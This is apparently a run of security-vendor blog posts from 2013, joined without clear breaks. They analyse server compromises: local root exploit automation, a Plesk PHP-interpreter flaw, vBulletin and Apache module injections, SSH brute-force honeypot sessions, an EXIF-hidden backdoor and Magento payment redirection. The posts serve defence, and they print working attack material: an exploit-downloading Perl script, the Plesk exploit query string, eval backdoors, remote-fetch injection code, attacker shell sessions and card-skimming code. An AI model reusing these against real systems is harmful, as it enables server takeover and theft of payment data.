When an attacker manages to compromise and get access to a website, they won’t likely stop there, they will aim to gain full root (admin) access to the entire server. If there are more websites hosted on the server being attacked, It is likely they will attempt to compromise every single one of them.

How can an attacker escalate their privileges? How can they go from FTP-only access to getting root on the server? In this series of articles we will show some techniques that attackers are using to go from confined FTP/web access, to full root level access on a server.

• Part I – Symlinks to Root
• Part II – Local exploits

Local Root Exploits

If you missed Part I from the series, we recommend you go there and read it first. Part I shows how an attacker who is confined to an FTP or web account can increase their access, and look around the whole server, including viewing passwords and configuration files.

Sure, this still does not give them full root (admin) access. Well, if they are lucky enough to find a root password in any of the configurations it would, but that doesn’t always happen.

Don’t be fooled though, what they really want is root (uid 0), the idea is to increase their privileges from normal user to root. To do this they need to find a vulnerability that allows them to escalate their privileges.

These vulnerabilities are easy to find. Very easy in fact. In the public exploit database, we can see at least 3 local root exploits against Linux released in the month of May:

2013-05-14 – Linux PERF_EVENTS – Local Root Exploit
2013-05-14 – Linux Kernel open-time Capability file_ns_capable() Privilege Escalation
2013-05-01 – sudo v1.8.0-1.8.3p1 (sudo_debug) – Root Exploit + glibc FORTIFY_SOURCE Bypass

If the kernel/system is not always updated, the attacker could leverage those bugs to get root access.

Automating the local Root Exploits

Since those local vulnerabilities are so common, the attackers just automate their work to try them all. On a compromised server we found this script:

#! /usr/bin/perl
# Exploit tools v2.0 coded by iskorpitx (Turkish Hacker)
# linux serverlerde gecerlidir
# by iskorpitx
{
system("rm *.txt”);
system("wget http://www.euromedalex.org/profiles/a.c”);
system("gcc a.c -o ab”);
system("chmod 777 ab”);
system("./ab”);
system("./id”);
system("wget http://www.euromedalex.org/profiles/a”);
system("chmod 777 a”);
system("./a”);
system("id”);
system("rm ab.txt”);
system("wget www.cuia.net/media/ab.txt”);
system("wget www.kassfm.co.ke/cache/15704.c”);
system("gcc 15704.c -o 1704″);
system("chmod 777 1704″);
system("./1704″);
system("id”);
.. many more entries ..

This script downloads multiple exploits and tries all of them in sequence. The first one tries the sudo format string exploit, the other is a Linux Kernel <= 2.6.37 local privilege escalation and so on.

You can't just have an almost fully patched system. If one vulnerability is missed, the attacker get root.

0-day Exploits

0-day exploits are probably the scariest to deal with, and are common with local vulnerabilities. The recent CVE-2013-2094 is an example which was public before there were patches available. Another concern is that kernel-level patches require a restart and most admins don’t like to restart their servers often. Even a patched server that didn’t get restarted it still vulnerable.

Protecting against local escalations

The most important thing an admin can do is to always keep their servers updated. If all known vulnerabilities are patched, the attackers won’t have much to work with. We also recommend (whenever possible) to disable shell execution for the web users. For example, you can modify your php.ini to prevent functions like system, exec, and popen from running. This make it harder for attackers to run their shells and commands:

disable_functions=exec,passthru,shell_exec,system,proc_open,popen

Another good option is to put Apache (or whatever web server you are running) under a chroot jail with a minimal set of commands available.

Do you have recommendations? How do you lock down your server in an effort to thwart local attacks?

Just last week another 0-day vulnerability on Plesk was released. It affects Plesk 9.2, 9.3 and 9.5.4 versions. If you have not yet, we recommend that you update Plesk immediately.

Note: In our latest analysis of servers with the Apache binaries or modules compromised (DarkLeech or Cdorked.A), Plesk is often one of the entry points.

Technical Analysis

The exploit was released last week by Kingcope with a sample exploit to “test” if a server is vulnerable. The vulnerability comes from this Plesk configuration:

scriptAlias /phppath/ “/usr/bin/”

This allows any one to execute the PHP interpreter. Upon calling the PHP binary, they can pass commands very similarly to the CVE-2012-1823 (PHP CGI bug):

/phppath/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=”"+-d+open_basedir=none+-d+auto_prepend_file=php://input+-n

This permits the attackers to inject and run any command as the user Apache. Due to the severity, we either recommend removing the vulnerable configuration (grep for phppath) or updating to the latest version of Plesk.

In the wild

And yes, we are seeing this vulnerability being probed in the wild already, either by searching for phppath/php or already trying to exploit it:

80.248.x.y – - [10/Jun/2013:23:58:29 -0400] “GET /phppath/php HTTP/1.1″ 302 154 “-” “libwww-perl/5.813″

91.224.x.y – - [10/Jun/2013:23:59:58 -0400] “POST /phppath/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2f%2finput+-n HTTP/1.1″

.. along with many other requests for similar files

We will update with more details as we keep tracking this vulnerability.

We have to be honest here, there’s no fun in cleaning up infected .htaccess files. It’s boring, but it happens a lot! But it’s not the case here. I will also caveat that while in this specific instance we’ll be talking to one specific platform, we are seeing this same tactic spread across a number of other popular platforms as well like Joomla and WordPress.

There are different types of infection, some are automated (like the htaccess I mentioned) and some are targeted and well crafted, like the one we saw today.

One of our clients was receiving complaints from the site’s readers that when accessing the site it was trying to do a drive-by-download, install malicious software on their computer[s].

When checking the page source we found the following code in the headers:

This code translates into a hidden iframe:

This payload was responsible for downloading the malicious executable, .exe file. At the time of our analysis the malicious domain was already gone, not a surprise to us as you can tell it’s a randomly generated domain and today’s tactics leave the sites available for a very short time.

Fortunately for us we found the payload, you’d think that was reason to celebrate, but it’s not. Where was it being generated or created?

After checking the most common places in vBulletin for infections (did I mentioned it was a vBulletin site? No, ok, mentioned now) we found a number of plugins acting as backdoors. Some of the code looked like this:

Unfortunately, those backdoors only acted as the entry point and not the generation point.

Our next stop was the datastore, looking for anything suspicious, you know things like eval, encoding masses, etc.. anything to give us a clue. But nothing…

So we turned out attention to the built-in vBulletin tool that would check for Suspect file versions. Fortunately for us, it pointed us to a number of suspect files in the /includes directory:

As you can see, it showed a lot of files in the includes directory, so we went checking them and in the process found init.php with the following code (since it was a targeted attack we changed the encoding a little bit):

So, what it is doing, and doing pretty well, is encoding the file path where the payload is using this imagepath array. And the image variable is just a base64_decode command. The file used is a jpeg image, not only a fake file with php content in there, but a binary file with base64 encoded code at the end of it:

And the malicous code is decoded to:

As you can see it is conditional malware, it will only be triggered when the user accesses the page and it’s browser’s user agent is coming from Internet Explorer (IE). This shouldn’t be a surprise to anyone.

The malicious code will go to http://[domain]/fgsd/?export=8c235f89a8143a28a1d6067e959dd858 to download the second part of the payload:

Which decodes to… Yes! The first code we saw in this article!

This attack is very effective and has been around for a few months now, others have reported on it and you can see reports going back to February / March time-frame. The attackers behind the campaign appear to be well versed in a number of Content Management Systems (CMS) and appear to be targeting Windows based machines running vulnerabile versions of software, like Java. Fortunately more of the common AntiVirus products are picking it up.

Based on earlier reports these are the different variants of the actually payload being dropped locally:

Variant I:

Variant II:

These are likely two of many being circulated at the moment. The real note is how they are encoding JavaScript, embedding it within the header of sites and using that to engaged remote C&C’s to better understand how to best proceed. The mftp.biz domain is one of many different free domains that attackers are using to distribute these payloads, here is a small list of others:

Here are more encoded JS samples that function the same way:

If you have any more info to share or samples, we’d love to hear from you. Don’t be shy to ping us. If you’re curious or vaguely interested in the various malware strings we see everyday you can also check out Sucuri Labs page.

We have been talking about Apache server-side injections for a while. Ranging from malicious modules, like Darkleech, to modified Apache binaries. From an attacker perspective, it is much more lucrative to inject their malicious code at that level, instead of having to compromise each site on the server individually.

However, server-side injections are not only limited to Apache modules or binaries. They can also be done via global .htaccess injections and PHP auto appends/preppends, which we will cover in this article.

Auto Prepend JavaScript Files

PHP has an interesting configuration option called “auto_prepend_file”. It allows administrators to include a file to be automatically parsed before the requested content is executed. Malware authors have been using this option at the site level for a while by modifying the .htaccess file. However, in this instance, they got root access and modified the file /etc/httpd/conf.d/php.conf with the following:

<files ~ "\.js$”>
AddHandler php5-script .js
php_value auto_prepend_file /usr/share/php/a.control.bin
php_flag display_errors Off
</files>

The syntax is very simple and it basically treats every JavaScript as PHP and prepends the content of /usr/share/php/a.control.bin to all JavaScript files. By modifying the Apache configuration they can inject it on every site hosted on the server.

Injected content

The file being prepended (a.control.bin) when first inspection was not a normal PHP file. It seemed like an encoded executable and testing on VirusTotal (an engine that checks a file against all 47 major anti virus products), resulted in a0/47 detection rate. It meant the file was never found before and needed more analysis.

We started to work with the binary and were able to partially decode it. The attackers were using gzip, along with multiple intermixed comments to add useless functions and make it hard to decode:

/* posix_mknod () ; jdtojewish) ; gzgetss(imagesetbrush(); mb_stripos */;
 eval/*mcrypt_generic ( ) ;

In the code mentioned above, none of those functions were not called except for the eval. When we thought it was using mcrypt or posix_mknod, it was just a distraction for the eval part. We also got our ESET friends to help with it. They were able to decode and decrypt the file and found many levels of obfuscation. From their explanation:

The PHP script uses comments to add junk, it can be reduced to the following: The function __halt_compiler() will stop the parsing of the script before the binary data embedded in the file. It will then be read and decompressed with gzinflate and evaled:

<?php
$__ = __FILE__ ;
eval (gzinflate(file_get_contents($__ ,null, null, (__COMPILER_HALT_OFFSET__))));
__halt_compiler();
BINARY_CODE

They also found an interesting backdoor that connects to google-analytcs.com with the user agent “SEX/1″. This allows the malware owners to control the server and execute commands via eval or add any file to the server. These are the commands the malware authors can run:

case “OK”: touch($___["file"]); break;
case “EXEC”: eval ( base64_decode ($___ ["data"][1])); break;
case “UPDATE”: file_put_contents ($__,base64_decode($___["data"][1])); break;
case “ERROR”: default: touch($__,(time()+$___["failed_period"])); break;

Another interesting thing is that when you decode the file, the first line starts with:

/ * Hey ! How did you find me ?  */

Yes, took a bit, but we did find you. You can see the full payload on PHP decoder.

Browser Injection

All that encoding is used to do 2 things: Act as a backdoor for the attackers to maintain their access to the server and inject malware on the browser of the visitors to the site. And inject malware they did. Every time a JavaScript file was requested, the following code would be prepended to it:

This code once executed by the browser calls multiple iFrames:

httx://weymouthsmiles.com/wuwu.html
httx://weymouthsmiles.com/wqlc.html
httx://www.blog-hits.com/b1.php?id=ballsofsteel

These are used to redirect the browser to the infamous Redkit Exploit Kit (hxxp://weymouthsmiles.com/jo.jar – Trojan.Java/Exploit.CVE-2013-2423.BM).

It also loads an image from http://google-analytcs.com/domain/ga.gif so the attackers can track the compromised sites and clients.

Conclusion

This is just another technique the attackers are using to maintain access to the servers they compromise, and to inject malware, in this case, to the Redkit Exploit Kit. Note that this is not new and we have been seeing cases like this for a while. Tony Perez even talked about it before on a previous post.

Again, thanks to the ESET team for the help here.

For the last few months we have been talking about the Darkleech Apache Module injection that is being used to insert malicious iframes into every site hosted on a compromised Linux server.

However, this past week we detected a new type of Apache module injection that is more subtle and increasingly difficult to detect. We don’t know if it is a new and improved version of Darkleech or a completely different tool written by a different group. Our team is still working on the binary and trying to scope the reach of this infection, so we will only post our preliminary analysis here.

Identifying the injection

The first sign of this injection can be identified remotely by an iframe injection like this one:

<iframe src=httpx://ajaxfamilies[.]org/go[.]php?sid=3 width=1 ..

That gets randomly prepended at the top of the pages loaded from the compromised server. That injection is conditional, so depending on the browser, referrer or IP address it may not show up. Google also says that 500+ sites have been distributing malware through this domain (ajaxfamilies.org):

Has this site acted as an intermediary resulting in further distribution of malware? Over the past 90 days, ajaxfamilies.org appeared to function as an intermediary for the infection of 562 site(s) including ajbridalwear.co.uk/, global-lcs.com/, trattamento-acque.net/.

Note that the domain ajaxfamilies.org might not be the only one being used (and it might change or rotate soon). However, from the servers we were able to gain access to, it was the main domain being used.

Apache Module injection

The injection is being done in the same way was before, by modifying one of the httpd configuration files (either conf/httpd.conf or conf.d/*.conf) and inserting a new module to be loaded:

LoadModule suphp5_module modules/mod_suphp5.so

Note that mod_suphp5 is a false module and not the popular mod_suphp one. We have also seeing it injected by overwriting the default mod_version.so with a fake one:

LoadModule version_module modules/mod_version.so

Those new modules are very small in size and have 0 detection rate by common anti virus software, according to virus total.

This is their identifier (size and md5 checksum):

$ ls -la *.so
-rwxr-xr-x 1 dcid dcid 15472 19 Jun 14:03 mod_suphp5.so
-rw-r–r– 1 dcid dcid 15472 17 Jun 18:53 mod_version.so
$ md5 *.so
MD5 (mod_suphp5.so) = 0a64f8d809d0a73d1b0b4139126e8f94
MD5 (mod_version.so) = 71e800af61521ff4390bf9845befa33a

It uses Apache’s portable memory pool to store the list of IP addresses that visited the site before and to decide when to inject the malware. It also has a backdoor part of it, allowing the remote attacker to run any command as the user Apache.

This module has some unique signatures that you can use to search for it. At this point we recommend looking for AWAVAUATUS1 on the modules directory:

$ grep -r AWAVAUATUS1 /etc/httpd/modules
Binary file /etc/httpd/modules/mod_version.so matches

You can also search for execl or getppid on the module directory and see if any suspicious file comes up. On the default Apache/PHP install, only libphp5 would have a call for execl or getppid on it.

If you suspect a site might be compromised, our sitecheck scanner should be able to identify this type of injection.

What’s next?

It seems the switch from site-level injections to server-level injections is really here to stay. If you don’t know how an attacker with just basic FTP or restricted access can get root, take a look at this series of posts we are doing:

• From a Site Compromise to Full Root Access – Symlinks to Root – Part I
• From a Site Compromise to Full Root Access – Local Root Exploits – Part II

We will also provide more information as we learn more about it.

This week while working on a compromised site, I found an interesting variation of the Blackhole injection. We work with many sites injected with Blackhole, like this one:

However, on this specific site, instead of the common injection we were expecting, there was an unocommon error:

"You are blocked by day limit". 

It seems the attackers server reached its daily limited and was blocked. This is what was showing up on the compromised site:

# 81a338#
echo " <script type=\"text/javascript\” language=\”javascript\” > You are blocked by day limit</script>”;

# /81a338#

Where it was injected

The code was injected in some of the usual places we find when dealing with Blackhole injection cleanup. In this case, they hit header.php files inside of WordPress themes:

./wp-content/themes/twentyeleven/header.php
./wp-content/themes/twentytwelve/header.php
./wp-content/themes/theme1/header.php
./wp-content/themes/theme2/header.php
./wp-content/themes/twentyten/header.php
..

We detect and cleanup Blackhole, including this variation. If you want to check your site, head over to SiteCheck and scan your site for free.

vBulletin is a popular forum platform that is also starting to become a popular target for web attacks. vBulletin (and vbSEO) had some serious security vulnerabilities in older versions, and when a forum using them is not properly updated, it ends up hosting malware like the one we will analyze here in this post.

Technical Analysis

vBulletin is very unique on how it stores its templates and plugins, It’s different than WordPress and Joomla, all the content is saved in the database. That makes it a bit more complicated for webmasters because they can’t just use common command line tools (like grep) to search through all their files. They need to use phpMyAdmin or another database tool to try to find and fix those issues.

And that’s where this malware hides itself. It uses the Plugin system and hooks into “global_start”, so it is called on every page request. This is what the injected PHP looks like in the plugin:

$d = 'front.adabeupdate.com';
$ip = '91.220.173.170';

ob_start(); 
$datad = getdata('http://' . $d . '/ss?t=f&' . $str);
if ($datad === false) { $datad = getdata('http://' . $ip . '/ss?t=f&' . $str); }
if (eval($datad) === false) { print $datad; }
$template_hook['forcehf'] = ob_get_contents(); 
ob_end_clean();
... where getdata is just a wrap around curl.

If you don’t know PHP, the code above does very few things. It contacts the domain front.adabeupdate.com, gets whatever data it sends and displays to the end user. This allows the malware to be injected to the forum pages and pushed down to the visitors of the web site via iFrames. The content is all remotely generated, changing very often, but the format is always the same:

<iframe src="httx://bv5g.gabparenting .com:36/hot.php  height="1" width="1" 
    frameborder="0" style=" visibility:hidden; position:absolute"></iframe>

This is an iFrame coming from port 36 or 38 (big red flag there) and from a random domain name. If you are an ISP or hosting provider you can likely block those 2 ports externally to protect your users. These are some of the domains being rotated in the iFrames:

• http://grh5.intorcio.com:38/mean.php
• http://rht5.justgabit.com:36/hot.php
• http://bv5g.gabparenting.com:36/hot.php
• http://ferh4.gabmoms.com:36/hot.php
• http://rgh5.gabofporn.com:36/hot.php
• http://sef3.gabfashion.com:36/hot.php
• http://grg5.gabbrazil.com:36/hot.php
• http://fth5.gabafly.com:36/hot.php
• http://fegr4.tampabaypostcarbon.com:38/mean.php
• http://drh4.secularflorida.org:38/mean.php
• http://hrtj5.suncoasthumanist.com:38/mean.php
• http://sef3.instantpartyanddj.com:38/mean.php
• http://grh5.intorcio.com:38/mean.php
• http://ym55.gabandroid.com:36/hot.php
• http://rg56.benpoch.com:36/hot.php
• http://drg4.gab.me:36/hot.php (95.141.37.119)

Some of those are detailed in our labs.

The backdoor

Another interesting part of the code injected as plugin into vBulletin is the backdoor. It does not use POST or GET requests, but a custom header sent by the client called HTTP_ECMDE. So whenever it finds that header, it base64 decodes and evals (executes) it:

if ($_SERVER["HTTP_ECMDE"]) {
        eval( base64_decode( $_SERVER["HTTP_ECMDE"]));
        return;
}

Note that any vBulletin site under our CloudProxy WAF is already being protected against this backdoor.

Size of this campaign

It seems to be very popular among vBulletin sites, but due to its conditional nature, it is not always possible to properly measure it. However, we have one small hint of its size. A few weeks ago, the campaign changed from the domain adabeupdate.com to front.adabeupdate.com and the server that hosted adabeupdate.com went down, so all sites compromised were loading very slow by being unable to contact it.

If the server had display_errors enabled on their PHP settings, it would throw this error for anyone visiting it:

Warning: fopen(http://adabeupdate.com/s?t=h&v=2&tt=1&i=66.249.73.115&a=Mozilla%2F5.0+%28compatible%3B+Googlebot%2F2.1%3B+% ...

During those days, Google indexed more than 15,000 pages with this error. This allowed us to identify hundreds of sites that where compromised and their webmasters have no idea.

This gives us an idea of the size of this attack. Very few sites actually have display_errors enabled, so if Google itself managed to index 15k+ pages with this error, we can probably estimate a number at least 10x more of compromised sites.

To vBulletin webmasters

If you own a vBulletin website, you have to keep it always updated. I also recommend going through the plugin list and the template list to make sure there are no additional plugins added. You can always use our website scanner and it will alert if your site is infected (outdated) or not.

One of the first server-level compromises I had to deal with in my life was around 12 ago, and it was caused by a SSH brute force attack. A co-worker set up a test server and chose a very weak root password for it. A few days later, the box was owned running IRC bots and trying to compromise the rest of the network.

That was just the first of many server-level compromises caused by SSH brute force attacks that I would end up responding to, and even after more than 10 years, quite a few of the server remediations that we do here at Sucuri are actually caused by the same thing.

Attackers just need 1 user with a weak password to get in. It doesn’t need to be root, since they can find many ways around that to increase their privileges. Even with the latest round of Apache module injections (Darkleech/CDORK) we suspect that one of the ways they get into the servers is by stolen passwords.

Because SSH brute force attaacks are so popular, we have been tracking them for a long time. And by a long time, we really mean it. Just in blog posts, We wrote a blog post in 2010 and even one in 2006 before Sucuri was even born. We have had honeypots running just as long watching and learning from these attacks.

Our Honeypots

We track these attacks via our high interaction honeypots. We get a clean server and install a modified SSHD version that logs all login attempts (including passwords) and stores all sessions. Once it gets hacked we can see all that was done along with the passwords attempted.

The attacks from 10 years ago are still very similar from the ones we see now, with one difference. 10 years ago it would take weeks after putting a server live for it to start being scanned. Right now and for the last couple of years, if we put a new server live, within hours, it starts to be scanned.

Last 7 days of scans – Analysis

By just going back 7 days and looking at our logs, we can see 15,000 attacks against it. The top username is still root (with more than 50% of the scans):

#attempts #username
   9012  root (58%)
    179  test (1%)
    116  oracle (< 1%)
     87  admin
     82  info
     70  user
     69  postgres
     68  mysql
     68  backup
     55  guest
     49  web
     49  tomcat
     46  michael
     45  r00t
     43  upload
     42  alex
     41  sales
     40  linux
     39  bin
     38  ftp
     35  support
     34  temp
     33  nagios
     31  user1
     30  www
     30  test1
     30  nobody

The top passwords are still very similar to what we reported a few years ago:

    365  123456 (2%)
    201  password (1%)
    114  12345 (<1%)
    105  1234
     92  root
     92  123
     84  qwerty
     76  test
     75  1q2w3e4r
     72  1qaz2wsx
     66  qazwsx
     65  123qwe
     58  12
     55  123qaz
     55  0000
     52  oracle
     50  1234567
     47  123456qwerty
     45  password123
     44  12345678
     41  1q2w3e
     40  abc123
     38  okmnji
     34  test123
     32  123456789
     31  postgres
     30  q1w2e3r4
     28  redhat
     27  user
     26  mysql
     24  apache

The full list is here if you are curious of the combinations they try. If you are using a password that is in there, please change it ASAP.

What they do after they get in

This is a very common question. What do the attackers do they after they find a password that works and get in?

1. Nothing much! Well, at least not for a few days. They just get in and then get out.
2. After a few days, they log in and change the password to a more secure one. So nobody else can "steal" what is theirs now. This is the session dump:

Last login: Wed Jul 10 23:05:35 2013 from otherserver.de
oracle@HONEYPOT:~]$
oracle@HONEYPOT ~]$ passwd
Changing password for user oracle.
Changing password for oracle.
(current) UNIX password: 
New password: 
Retype new password: 
passwd: all authentication tokens updated successfully.
oracle@HONEYPOT:~]$ logout

Note that HONEYPOT is not what the attackers really see. They see fake hostname with a fake site on the server. In this case, they guessed the "oracle" user password.

3. Once they are in and the password is changed, they will try to increase their privileges to root. This is what they did when they got in as "oracle":

   [oracle@HONEYPOT ~]$ w
    23:46:08 up 4 days,  4:58,  1 user,  load average: 0.00, 0.01, 0.05
   USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
   oracle   pts/1    111.90.151.149   23:45    0.00s  0.02s  0.00s w
   
   [oracle@HONEYPOT ~]$ ls -all
   total 20
   drwx------ 2 oracle oracle 4096 Jul  8 14:50 
   -rw-r--r-- 1 oracle oracle   18 Dec  2  2011 .bash_logout
   -rw-r--r-- 1 oracle oracle  176 Dec  2  2011 .bash_profile
   -rw-r--r-- 1 oracle oracle  124 Dec  2  2011 .bashrc
   [oracle@HONEYPOT ~]$ su 
   sudo su
   We trust you have received the usual lecture from the local System
   Administrator. It usually boils down to these three things:
       #1) Respect the privacy of others.
       #2) Think before you type.
       #3) With great power comes great responsibility.
   [sudo] password for oracle: 
   oracle is not in the sudoers file.  This incident will be reported.
   oracle@HONEYPOT:~
   [oracle@HONEYPOT ~]$ su
   Password: 
   su: incorrect password
   [oracle@HONEYPOT ~]$ cd /tmp
   [oracle@HONEYPOT tmp]$ mkdir ' '
   [oracle@HONEYPOT:/tmp
   [oracle@HONEYPOT tmp]$ cd ' '
   [oracle@HONEYPOT:/tmp/ 
   [oracle@HONEYPOT  ]$ wget ftp://dmitri:123123@200.63.46.99/mech.tgz
   --2013-07-09 23:48:01--  ftp://dmitri:*password*@200.63.46.99/mech.tgz
   ..
   Logging in as dmitri ... 
   Connecting to 200.63.46.99:21... connected.
   Logging in as dmitri ... Logged in!
   ==> SYST ... done.    ==> PWD ... done.
   ==> TYPE I ... done.  ==> CWD not needed.
   ==> SIZE mech.tgz ... 374664
   ==> PASV ... done.    ==> RETR mech.tgz ... done.
       [<=>                                    ] 0           --.-K/s              
   
   [oracle@HONEYPOT  ]$ tar xzvf mech.tgz 
   webmail/
   ..
   webmail/run
   [oracle@HONEYPOT  ]$ cd webmail/
   [oracle@HONEYPOT webmail]$ ./start sunacai
   ######Multi Emech on Undernet######
   #####      bil TheDemon       #####
   %%%%%%%% 
    Undernet !!!    %%%%%%
   Am gasit 1 ip-uri
   SERVER Montreal.QC.CA.Undernet.org 7000
   
   [oracle@HONEYPOT webmail]$ w
    23:49:27 up 4 days,  5:02,  1 user,  load average: 0.07, 0.03, 0.05
   USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
   oracle   pts/1    111.90.151.149   23:45    7.00s  0.05s  0.00s w
   [oracle@HONEYPOT webmail]$ logout
   

   You can see they tried to "su" (become root) and then launched an IRC bot, the same as 10 years ago. This is another example when they compromised the user "guest":

   Last login: Fri Jul 12 20:21:45 2013 from 223.4.147.8
   [?1034h[guest@HONEYPOT ~]$ unset HISTFILE
   [guest@HONEYPOT ~]$ unset HISTSAVE
   [guest@HONEYPOT ~]$ w
    15:45:40 up 7 days, 20:58,  1 user,  load average: 0.00, 0.01, 0.05
   USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
   guest    pts/1    82.137.10.219    15:45    4.00s  0.02s  0.00s w
   [guest@HONEYPOT ~]$ passwd
   Changing password for user guest.
   Changing password for guest.
   (current) UNIX password: 
   New password: 
   Retype new password: 
   passwd: all authentication tokens updated successfully.
   [guest@HONEYPOT ~]$ uname -a
   Linux HONEYPOT REMOVED..
   [guest@HONEYPOT ~]$ sudo su
   We trust you have received the usual lecture from the local System
   Administrator. It usually boils down to these three things:
       #1) Respect the privacy of others.
       #2) Think before you type.
       #3) With great power comes great responsibility.
   [sudo] password for guest: 
   guest is not in the sudoers file.  This incident will be reported.
   
   
   [guest@HONEYPOT ~]$ mkdir " "
   [guest@HONEYPOT ~]$ cd " "
   [guest@HONEYPOT  ]$ wget eduteam.orgfree.com/mech.gz;tar zxvf mech.gz;rm -rf me
   ch.gz;cd .bot
   
   * * * * * /home/guest/ /.bot/update >/dev/null 2>&1
   ./run: ./crond: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
   [guest@HONEYPOT .bot]$ cd .
   [guest@HONEYPOT .bot]$ cd ..
   [guest@HONEYPOT  ]$ rm -rf bot
   [guest@HONEYPOT  ]$ rm -rf .bot
   [guest@HONEYPOT  ]$ wget eduteam.orgfree.com/64mcc.tgz;tar zxvf 64mcc.tgz;rm -r
   f 64mcc.tgz;cd 64mcc
   --2013-07-14 09:48:11--  http://eduteam.orgfree.com/64mcc.tgz
   Resolving eduteam.orgfree.com... 78.47.28.69
   Connecting to eduteam.orgfree.com|78.47.28.69|:80... connected.
   HTTP request sent, awaiting response... 200 OK
   ..
   
   [guest@HONEYPOT 64mcc]$ ./start horo
   =====>Tase<=====
   ++++++ *Asta e o arhiva privata*  ++++++++
   Am gasit 1 ip-uri
   Gata
   * * * * * /home/guest/ /64mcc/update >/dev/null 2>&1
   EnergyMech 2.8.5, December 30th, 2002
   Compiled on Dec 30 2002 10:21:24
   Features: LNK, TEL, PIP, DYN, NEW, ALS, WIN, SEF
   init: Mech(s) added [ maurice ]
   init: EnergyMech running...
   

   They unset their history file so bash_history doesn't show anything, tried to get root by using sudo/su and when it failed, they downloaded an IRC bot and left. This is pretty much the first steps they take. They are often patient and will come back many times and try to use exploits to get root.

   Conclusion

   SSH Brute force attacks are here to stay. As long as people use weak passwords, the bad guys will be trying to brute force them. Not only for SSH, but we often see brute forces via FTP or to admin panels (Plesk, WordPress, Joomla, cPanel, etc).

   As for protecting your self against these, the first option is to use SSH keys (and disable password authentication). If you can't do that for whatever reason, make sure to use strong and good passwords. We also recommend whitelisting which IP addresses can login to the server and block everyone else out. For a reactive measure, we recommend using OSSEC (open source IDS) to block those attacks if you can't use white listing.

A few days ago, Peter Gramantik from our research team found a very interesting backdoor on a compromised site. This backdoor didn’t rely on the normal patterns to hide its content (like base64/gzip encoding), but stored its data in the EXIF headers of a JPEG image. It also used the exif_read_data and preg_replace PHP functions to read the headers and execute itself.

Technical Details

The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content. This is what we found in the compromised site:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

Both functions are harmless by themselves. Exif_read_data is commonly used to read images and preg_replace to replace the content of strings. However, preg_replace has a hidden and tricky option where if you pass the “/e” modifier it will execute the content (eval), instead of just searching/replacing.

When we look at the bun.png file, we find the second part of the backdoor:

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

The file starts normally with the common headers, but in the "Make" header it has a strange keyword: "/.*/e". That's the exact modifier used by preg_replace to execute (eval) whatever is passed to it.

Now things are getting interesting...

If we keep looking at the EXIF data, we can see the "eval ( base64_decode" hidden inside the "Model" header. When you put it all together, we can see what is going on. The attackers are reading both the Maker and Model header from the EXIF and filling the preg_replace with them. Once we modify the $exif['Make'] and $exif['Model'] for what is in the file, we get the final backdoor:

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

Once decoded, we can see that it just executes whatever content is provided by the POST variable zz1. The full decoded backdoor is here:

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..

Steganography Malware

Another interesting point is that bun.png and other images that were compromised, still load and work properly. In fact, on these compromised sites, the attackers modified a legit, pre-existent image from the site. This is a curious steganographic way to hide the malware.

Note: Any of Sucuri clients using Server Side Scanning are protected against this type of injection (detected by us).

Questions about this attack type? Leave a comment below, we'd love to hear from you!

We have seen it all when it comes to compromised sites: from silly defacements, to malware, spam, phishing and all sorts of injections. However, the bad guys are always looking to maximize their profits when they hack a site. Especially when it is an e-commerce site that processes credit cards online.

Credit Card Redirection

A new trick we are seeing being used on compromised e-commerce sites is credit card redirection. The attackers modify the flow of the payment process so that instead of just processing the card, they redirect all payment details to a domain they own so they can steal the card details.

This is often done very stealthy, with minimal changes to the site. Credit cards are very valuable in the black market, so the attackers try to stay on as long as possible without being detected.

Magento Redirection

Because of the nature of Magento websites, they are a big target. We are seeing sites having the credit card processing file modified to either email the credit card details or redirect them to a new domain. In this specific case, the file “app/code/community/MageBase/DpsPaymentExpress/Model/Method/Pxpay.php” (use for PaymentExpress payment handling) was modified with this code:

$oo = base64_decode(‘cGF5bWVudGV4cHJlc3M=’); $_oo = base64_decode("cGF5bWVudGlleHByZXNz’);$_is = base64_decode("c2Vzc19pZA==’);
$_oi = base64_decode("cHJlZ19yZXBsYWNl’);
$responseURI = $_oi(‘/’.$oo.’/',$_oo,strval($responseXml->URI));

Which once decoded, replaces every occurrence of paymentexpress for paymentiexpress (see extra i). This forces the payment processing to be tunneled here:

https://sec.paymentiexpress.com/pxpay/pxaccess.aspx (see the i again)

Instead of the real URL:

https://sec.paymentexpress.com/pxpay/pxaccess.aspx

This redirection forces all the transaction data, including credit card details (name, address, CC and CVV), through their malicious server, in turn allowing the data to be stolen by the bad guys.

Paymentiexpress.com Phishing

The domain paymentiexpress.com was just registered a few days ago using whois privacy:

Registration Service Provided By: Namecheap.com
Contact: support@namecheap.com
Visit: http://namecheap.com
Registered through: eNom, Inc.
Creation date: 18 Jul 2013 18:02:00
Expiration date: 18 Jul 2014 18:02:00

And is currently live and not blacklisted by anyone (except us now). It has a proper SSL certificate (by RapidSSL) and everything that makes a trusted worthy phishing page.

What is also interesting is this new evolution of phishing, so that instead of tricking users into clicking into a bad url, it tricks the site itself to redirect the users information there.

Compromised sites being injected with SPAM SEO is something we deal very often. A few months ago we wrote about a wave of SPAM injections known as HideMe.

